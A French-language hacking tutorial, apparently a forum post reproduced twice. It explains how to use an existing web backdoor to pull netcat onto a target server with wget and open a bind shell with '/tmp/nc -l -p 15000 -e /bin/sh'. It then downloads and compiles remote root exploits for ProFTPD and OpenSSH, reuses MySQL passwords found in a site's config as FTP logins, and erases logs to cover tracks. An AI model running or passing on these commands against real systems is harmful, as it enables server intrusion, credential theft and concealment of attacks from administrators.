Le principe étant d'obtenir le privilège root sur le serveur.
Obtenir un shell :
I. Téléchargez netcat.
II. Maintenant 2 facons d'uploader (déposer) nc sur le serveur cible :
1ere méthode :
- téléchargez sur votre ordinateur le nc deja compilé ;
- allez sur : http://www.site-cible.com/index.php?...votre_backdoor
et uploadez netcat compilé dans un repertoire du genre :
2eme méthode :
- allez sur : http://www.site-cible.com/index.php?...votre_backdoor
- puis tapez dans votre terminal la commande suivante :
Si tout ce passe bien, la présence du fichier nc avec la cmd "ls /tmp/" confirmera la réussite de l'upload.
Une fois nc uploadé, il faut pouvoir le mettre en écoute pour pouvoir se connecter dessus, alors tout d'abord il faut lui attribuer les permissions suffisantes :
Allez avec votre backdoor, chmoder nc en 0777.
Maintenant que nous avons tout pour se connecter, nous devons mettre en ecoute nc.
III. Pour ceci il suffit de faire :
Ceci ouvrira le port 15000 sur la machine distante.
Maintenant il suffit de nous connecter sur le serveur grace a netcat encore une fois.
Tapez la commande :
Vous l'aurez compris on se connecte via le port ouvert précédement.
Vous avez désormais un shell
Je vous conseille de changer de port à chaque session sur la machine distante pour une question de prudence...
Explication pour les novices :
Voici une petite explication sur la commande :
-l : permet de mettre nc en écoute d'une éventuelle connexion sur un port ;
-p : définit un port pour la connexion sur nc (ici c'est le port 15000, qui peut être modifié) ;
-e : permet de rediriger les entrées et sorties d'un programme vers un socket ;
/bin/sh : on definit sur quel socket on veut se rediriger, pour notre cas on veut un shell bash ;
&& : permet de lancer toute cette commande en tâche de fond ;
Obtenir les privileges root :
Alors pour devenir root sur un serveur, il existe des petit programmes qui vont exploiter une faille d'un programme sur le serveur par exemple FTP, mail ou Apache. Pour obtenir le droit root, il faut trouver un exploit qui fonctionne...
Tout d'abord on regarde sur quel OS on est :
Red Hat Linux release 7.3 (Valhalla)
Cherchons la version du Kernel :
Linux FRIH30118439-01 2.4.18-27.7.xsmp #1 SMP Fri Mar 14 05:52:30 EST 2003 i686
=> Ici le noyau est donc : 2.4.18
Regardons ensuite ce qui tourne sur la machine (j'ai effacé une partie du ps ; trop long) :
Bon on va analyser un peu tout ça :
=> on remarque un serveur ssh
=> ici un server web apache
=> ici un eggdrop
=> ici un server mysql
=> et là un server FTP proftpd
Bon, on connait en partie les services qui tournent donc on va pouvoir chercher des exploits en conséquence sur des sites comme :
- http://securitydot.net/exploits/
- http://www.security.nnov.ru/exploits/
- http://exploits.ath.cx/?path=/About/
Et beaucoup d'autres bien entendu...
Ou tout simplement, on va chercher dans la mémoire... de notre cerveau
Bon, on regarde redhat, la version 7.3
Alors => local ou remote ?
local = exploit utilisable directement sur la machine ;
remote = exploit utilisable à distance ;
On va prendre remote: proftpdr00t.c
Alors on a un exploit pour proftpd,
Donc comment l'exécuter ?
D'abord mettons-le sur le serveur cible.
Même s'il peut être exécuté à distance, allons dans notre répertoire :
Sur notre shell:
=> `proftpdr00t.c'
Voilà, on a téléchargé le fichier sur le serveur mais c'est un programe en C donc il faut le compiler.
Evidemment on va utiliser le compilateur GCC :
<[email protected]:/tmp/>gcc -o prof proftpdr00t.c
<[email protected]:/tmp/>ls
nc prof proftpdr00t.c
Voilà ! Notre exécutable est prof, maintenant lançons-le en tapant :
(Note : Il est possible aussi de le compiler sur votre machine et ensuite de l'uploader)
Usage : ./prof -t host -l ip [options]
Arguments :
-t <host> host to attack
-u <username> [anonymous]
-p <password> [[email protected]]
-l <local ip address> interface to bind to
-s sleep for 10secs to allow GDB attach
-U <path> specify upload path, eg. /incoming
-P <port> port number of remote proftpd server
-S <address> start at <address> when bruteforcing
Coup de chance, il nous est expliqué comment utiliser l'exploit
host = notre cible
IP = notre IP
username = le user du FTP
passwd = le mot de passe du FTP
Il nous faut donc un login et un pass FTP, pour cela allons regarder les pass mysql des sites reliés au serveur cible car c'est souvent les mêmes que ceux du FTP.
Pour connaître tous les sites du serveur, il faut regarder le fichier httpd.conf
Donc :
Plein de bêtises s'affichent sauf :
Alors, lisez ce fichier, soit vous y allez avec le shell, soit avec l'exploit explorer.
Bon, là, on a toute la confg du serveur !
On voit que le site WWW.SITE2.TV est situé sur /home/webcrea3/htdocs/sites/st2/htdocs
Allons faire un tour par là...
Bon, on se ballade tranquillement dans les répertoire du site...
On trouve un fichier contenant les pass SQL
(On admettra pour l'exemple que les pass sont les même pour SQL et FTP)
On va tester notre exploit :
Revenons sur /tmp/ comme on est en local notre IP sera localhost et l'IP de la cible localhost aussi.
Bon, allons y...
Et c'est parti, on va voir si on peut être root...
Ensuite... on attend !
Si ca ne marche pas, il faudra essayer un autre exploit.
N'oubliez pas d'effacer les logs... !!!
Conseils :
Trier les logs en fonction de leur date, et les effacer en conséquence.
Alors, l'exploit termine :
Ca n'a pas marché... donc on recherche un autre exploit :
http://darknet.co.nz/darknet.shadowx...emote/l2kssh.c
Voilà
On le compile avec GCC :
On le lance:
Déjà le sh : "line 56 : 5337 Segmentation fault ./l2kssh" veut dire que l'exploit a peut-être une erreur, donc que la personne qui l'a codé...ne sait pas coder
Ca arrive souvent, donc là il nous demande de choisir notre version.
Bon, essayons 1, 2, 3, 4.
On cherche des exploits sur apache ou mysql ou webmin.
Regardez les versions :
http://darknet.co.nz/darknet.shadowx...ploitz/Deamon/
Et attaquez :
A faire chez soi sur son ordinateur :
Sendmail
Apache
ProFTP
cred:informatique-inside
Obtenir un shell :
I. Téléchargez netcat.
II. Maintenant 2 facons d'uploader (déposer) nc sur le serveur cible :
1ere méthode :
- téléchargez sur votre ordinateur le nc deja compilé ;
- allez sur : http://www.site-cible.com/index.php?...votre_backdoor
et uploadez netcat compilé dans un repertoire du genre :
Code:
/tmp/nc
2eme méthode :
- allez sur : http://www.site-cible.com/index.php?...votre_backdoor
- puis tapez dans votre terminal la commande suivante :
Code:
cd /tmp; wget http://splitcrew.free.fr/dl/dressupsx/nc
Une fois nc uploadé, il faut pouvoir le mettre en écoute pour pouvoir se connecter dessus, alors tout d'abord il faut lui attribuer les permissions suffisantes :
Allez avec votre backdoor, chmoder nc en 0777.
Maintenant que nous avons tout pour se connecter, nous devons mettre en ecoute nc.
III. Pour ceci il suffit de faire :
Code:
/tmp/nc -l -p 15000 -e /bin/sh&&
Maintenant il suffit de nous connecter sur le serveur grace a netcat encore une fois.
Tapez la commande :
Code:
nc -vvvv www.site-cible.com 15000
Vous avez désormais un shell
Je vous conseille de changer de port à chaque session sur la machine distante pour une question de prudence...
Explication pour les novices :
Voici une petite explication sur la commande :
Code:
/tmp/nc -l -p 15000 -e /bin/sh&&
-p : définit un port pour la connexion sur nc (ici c'est le port 15000, qui peut être modifié) ;
-e : permet de rediriger les entrées et sorties d'un programme vers un socket ;
/bin/sh : on definit sur quel socket on veut se rediriger, pour notre cas on veut un shell bash ;
&& : permet de lancer toute cette commande en tâche de fond ;
Obtenir les privileges root :
Alors pour devenir root sur un serveur, il existe des petit programmes qui vont exploiter une faille d'un programme sur le serveur par exemple FTP, mail ou Apache. Pour obtenir le droit root, il faut trouver un exploit qui fonctionne...
Tout d'abord on regarde sur quel OS on est :
Code:
<[email protected]:/tmp/>cat /etc/redhat-release
Cherchons la version du Kernel :
Code:
<[email protected]:/tmp/>uname -a
=> Ici le noyau est donc : 2.4.18
Regardons ensuite ce qui tourne sur la machine (j'ai effacé une partie du ps ; trop long) :
Code:
<[email protected]:/tmp/>ps aux named 745 0.0 0.3 13772 3244 ? S Oct15 0:00 [named] named 765 0.0 0.3 13772 3244 ? S Oct15 0:05 [named] root 770 0.0 0.1 2576 1212 ? S Oct15 0:07 /usr/sbin/sshd root 791 0.0 0.0 2032 880 ? S Oct15 0:24 xinetd -stayalive root 811 0.0 0.1 2372 1156 ? S Oct15 0:00 /bin/sh /usr/bin/ mysql 851 0.0 1.3 31416 14124 ? S Oct15 0:07 [mysqld] mysql 854 0.0 1.3 31416 14124 ? S Oct15 0:12 [mysqld] root 867 0.0 0.1 4548 1616 ? S Oct15 0:35 sendmail: accepti root 875 0.0 0.1 2536 1648 ? S Oct15 8:07 /usr/local/EMPsys root 892 0.0 0.0 1484 656 ? S Oct15 0:02 crond daemon 917 0.0 0.0 1348 544 ? S Oct15 0:00 [atd] root 968 0.0 0.3 6332 3940 ? S Oct15 0:15 /usr/bin/perl /us root 977 0.0 0.0 1280 400 tty1 S Oct15 0:00 /sbin/mingetty tt root 978 0.0 0.0 1280 400 tty2 S Oct15 0:00 /sbin/mingetty tt nobody 2135 0.0 0.1 3332 1284 ? S Oct15 0:15 [proftpd] root 2143 0.0 0.8 80536 8260 ? S Oct15 0:58 /usr/local/apache apache 2144 0.0 1.9 90908 20108 ? S Oct15 7:10 [httpd] apache 2145 0.0 1.2 83708 12844 ? S Oct15 6:55 [httpd] apache 2146 0.0 1.1 82676 11896 ? S Oct15 6:49 [httpd] eggdrop 7593 0.0 0.1 3508 1984 ? S Oct16 1:24 ./eggdrop mysql 20076 0.2 1.3 31416 14124 ? S Oct22 9:29 [mysqld] mysql 20192 0.2 1.3 31416 14124 ? S Oct22 9:43 [mysqld] mysql 20198 0.1 1.3 31416 14124 ? S Oct22 7:54 [mysqld] 559 14306 0.0 1.0 207916 10544 ? SN Oct23 0:00 /usr/lib/java/bin 559 14310 0.0 5.1 214212 53168 ? SN Oct23 0:01 /usr/lib/java/bin 559 14312 0.0 1.0 207916 10544 ? SN Oct23 0:00 /usr/lib/java/bin 559 14332 0.0 5.1 214212 53168 ? SN Oct23 0:00 /usr/lib/java/bin 559 14333 0.0 5.1 214212 53168 ? SN Oct23 0:00 /usr/lib/java/bin mysql 14334 0.0 1.3 31416 14124 ? S Oct23 0:00 [mysqld] apache 16444 0.0 0.0 108 16 ? T Oct24 0:00 [passwd] mysql 18252 0.2 1.3 31416 14124 ? S Oct24 2:42 [mysqld] mysql 18261 0.1 1.3 31416 14124 ? S Oct24 2:24 [mysqld] apache 28656 0.0 0.0 104 16 ? T Oct24 0:00 [passwd] apache 29145 0.0 0.0 100 12 ? T Oct24 0:00 [passwd] apache 3025 0.0 0.8 80836 9056 ? S 03:29 0:00 [httpd] apache 3273 0.0 0.0 1480 576 ? S 03:37 0:00 /tmp/houdini/nc - apache 3297 0.0 0.0 2172 972 ? S 03:39 0:00 sh apache 3305 0.0 0.8 80756 8808 ? S 03:39 0:00 [httpd] apache 3310 0.0 0.8 80692 8720 ? S 03:39 0:00 [httpd] apache 3346 0.0 0.0 2168 976 ? S 03:41 0:00 sh apache 3390 0.0 0.0 2184 992 ? S 03:42 0:00 sh -c /tmp/houdin apache 3391 0.0 0.0 1484 580 ? S 03:42 0:00 /tmp/houdini/nc - root 3412 0.4 0.2 4040 2388 ? S 03:44 0:04 [sshd] stc 3413 0.0 0.0 2308 732 ? S 03:44 0:00 scp -v -t /home/s apache 3487 0.0 0.0 1484 576 ? S 03:53 0:00 /tmp/houdini/nc - nxbp 3495 0.0 0.1 3664 1692 ? S 03:53 0:00 [proftpd] 544 3505 0.0 0.1 3668 1692 ? S 03:53 0:00 [proftpd] apache 3515 0.0 0.0 2168 976 ? S 03:55 0:00 sh apache 3523 0.0 0.0 2180 988 ? S 03:58 0:00 sh -c /tmp/houdin apache 3524 0.0 0.0 1480 576 ? S 03:58 0:00 /tmp/houdini/nc - apache 3527 0.0 0.8 80536 8324 ? S 03:59 0:00 [httpd] nxbp 3539 0.0 0.1 3664 1680 ? S 04:00 0:00 [proftpd] 544 3546 0.0 0.1 3664 1680 ? S 04:01 0:00 [proftpd] apache 3883 0.0 0.0 2168 964 ? S 04:02 0:00 sh
Code:
root 770 0.0 0.1 2576 1212 ? S Oct15 0:07 /usr/sbin/sshd
Code:
root 2143 0.0 0.8 80536 8260 ? S Oct15 0:58 /usr/local/apache
Code:
eggdrop 7593 0.0 0.1 3508 1984 ? S Oct16 1:24 ./eggdrop
Code:
mysql 18252 0.2 1.3 31416 14124 ? S Oct24 2:42 [mysqld]
Code:
nxbp 3495 0.0 0.1 3664 1692 ? S 03:53 0:00 [proftpd]
Bon, on connait en partie les services qui tournent donc on va pouvoir chercher des exploits en conséquence sur des sites comme :
- http://securitydot.net/exploits/
- http://www.security.nnov.ru/exploits/
- http://exploits.ath.cx/?path=/About/
Et beaucoup d'autres bien entendu...
Ou tout simplement, on va chercher dans la mémoire... de notre cerveau
Bon, on regarde redhat, la version 7.3
Alors => local ou remote ?
local = exploit utilisable directement sur la machine ;
remote = exploit utilisable à distance ;
On va prendre remote: proftpdr00t.c
Alors on a un exploit pour proftpd,
Donc comment l'exécuter ?
D'abord mettons-le sur le serveur cible.
Même s'il peut être exécuté à distance, allons dans notre répertoire :
Code:
<[email protected]:/>cd /tmp/
Code:
<[email protected]:/tmp/>wget http://darknet.co.nz/darknet.shadowx.info/Exploitz/OS/Linux/RedHat/7.3/Remote/proftpdr00t.c
Code:
Resolving darknet.co.nz... done. Connecting to darknet.co.nz[194.12.244.26]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 20,280 [text/x-csrc] 0K .......... ......... 100% 11.70 KB/s 04:12:08 (11.70 KB/s) - `proftpdr00t.c' saved [20280/20280] `proftpdr00t.c' saved
Evidemment on va utiliser le compilateur GCC :
<[email protected]:/tmp/>gcc -o prof proftpdr00t.c
<[email protected]:/tmp/>ls
nc prof proftpdr00t.c
Voilà ! Notre exécutable est prof, maintenant lançons-le en tapant :
(Note : Il est possible aussi de le compiler sur votre machine et ensuite de l'uploader)
Code:
<[email protected]:/tmp/>./prof proftpd 1.2.7 - 1.2.9rc2 remote root exploit based on code by bkbll ([email protected]) by Haggis ([email protected])
Arguments :
-t <host> host to attack
-u <username> [anonymous]
-p <password> [[email protected]]
-l <local ip address> interface to bind to
-s sleep for 10secs to allow GDB attach
-U <path> specify upload path, eg. /incoming
-P <port> port number of remote proftpd server
-S <address> start at <address> when bruteforcing
Coup de chance, il nous est expliqué comment utiliser l'exploit
Code:
<[email protected]:/tmp/>./prof -t host -l ip [options]
IP = notre IP
username = le user du FTP
passwd = le mot de passe du FTP
Il nous faut donc un login et un pass FTP, pour cela allons regarder les pass mysql des sites reliés au serveur cible car c'est souvent les mêmes que ceux du FTP.
Pour connaître tous les sites du serveur, il faut regarder le fichier httpd.conf
Donc :
Code:
<[email protected]:/tmp/>find / -name httpd.conf
Code:
/usr/local/apache/conf/httpd.conf
Bon, là, on a toute la confg du serveur !
Code:
# sous-domaine http://WWW.SITE2.TV]WWW.SITE2.TV <VirtualHost 64.35.47.156:80> ServerName www.site2.tv ServerAdmin [email protected] DocumentRoot /home/webcrea3/htdocs/sites/st2/htdocs
Allons faire un tour par là...
Bon, on se ballade tranquillement dans les répertoire du site...
On trouve un fichier contenant les pass SQL
Code:
$MySQL_Host="localhost"; $MySQL_User="st2"; $MySQL_Passw="looool"; $db="moove";
On va tester notre exploit :
Revenons sur /tmp/ comme on est en local notre IP sera localhost et l'IP de la cible localhost aussi.
Bon, allons y...
Code:
<[email protected]:/tmp/>./prof -t localhost -l localhost -u st2 looool proftpd 1.2.7 - 1.2.9rc2 remote r00t exploit by Haggis ([email protected]) [ Setting passive ]-[ Stack: 0xbfffef18 ]-[ RET: 0xbfffefe0 ]
Ensuite... on attend !
Si ca ne marche pas, il faudra essayer un autre exploit.
N'oubliez pas d'effacer les logs... !!!
Conseils :
Trier les logs en fonction de leur date, et les effacer en conséquence.
Alors, l'exploit termine :
Code:
<[email protected]:/tmp/>./prof -t localhost -l localhost -u st2 looool proftpd 1.2.7 - 1.2.9rc2 remote r00t exploit by Haggis ([email protected]) [ Setting passive ]-[ Stack: 0xbffff4ec ]-[ RET: 0xbffff5b4 ] No r00t for you today I'm afraid.
http://darknet.co.nz/darknet.shadowx...emote/l2kssh.c
Voilà
Code:
<[email protected]:/tmp/>wget http://darknet.co.nz/darknet.shadowx.info/Exploitz/OS/Linux/RedHat/7.3/Remote/l2kssh.c
Code:
`l2kssh.c' saved
Code:
<[email protected]:/tmp/>gcc -o l2kssh 12kssh.c <[email protected]:/tmp/>ls l2kssh l2kssh.c nc prof proftpdr00t.c
Code:
<[email protected]:/tmp/>./l2kssh -p 22 -r 0080e1c3 -t 3 62.50.131.40 -d bfff34c4 (1) RH 7.1 x86 / OpenSSH_3.2.3p1, -496, 0080c31c (2) RH 7.2 x86 / OpenSSH_3.2.2p1, -496, 0080e1c3 (3) RH 7.3 x86 / OpenSSH_3.1p1, -496, 0080e2c0 (4) RH 8.0 x86 / OpenSSH_3.4p1, -496, 0080e1b8 (5) SuSE 8.0 x86 / OpenSSH_3.1p1, -496, 0080e22c (6) Deb 3.0 x86 / OpenSSH_3.2.3p1, -496, 0080e14c (7) Mdk 8.1 x86 / OpenSSH_3.1p1, -496, 0080e428 (8) FBSD 4.4 x86 / OpenSSH_3.1p1, -134, 0080a278 (9) FBSD 4.4 x86 / OpenSSH_3.2.3p1, -134, 0080a21e (10) FBSD 4.5 x86 / OpenSSH_3.3, -134, 0080a25c (11) FBSD 4.5 x86 / OpenSSH_3.4p1, -134, 0080a1ce sh: line 56: 5337 Segmentation fault ./l2kssh
Ca arrive souvent, donc là il nous demande de choisir notre version.
Bon, essayons 1, 2, 3, 4.
Code:
<[email protected]:/tmp/>./l2kssh -p 22 -r 0080e1c3 -t 3 62.50.131.40 -d bfff34c4 <= pour le choix n° 2 ( (2) RH 7.2 x86 / OpenSSH_3.2.2p1, -496, 0080e1c3 )
Regardez les versions :
http://darknet.co.nz/darknet.shadowx...ploitz/Deamon/
Et attaquez :
A faire chez soi sur son ordinateur :
Sendmail
Code:
COMMANDE: nc -vvvv www.site-cible.com 25 PORT: 25 = smtp VERSION: Sendmail 8.11.6/8.11.6;
Code:
COMMANDE: nc -vvvv www.site-cible.com 80 PORT: 80 = http VERSION: Apache/1.3.28 (Unix) mod_ssl/2.8.15 OpenSSL/0.9.6b PHP/4.3.3
Code:
COMMANDE: locate proftp PORT: 21 = ftp VERSION: /usr/share/doc/proftpd-1.2.5
Commentaire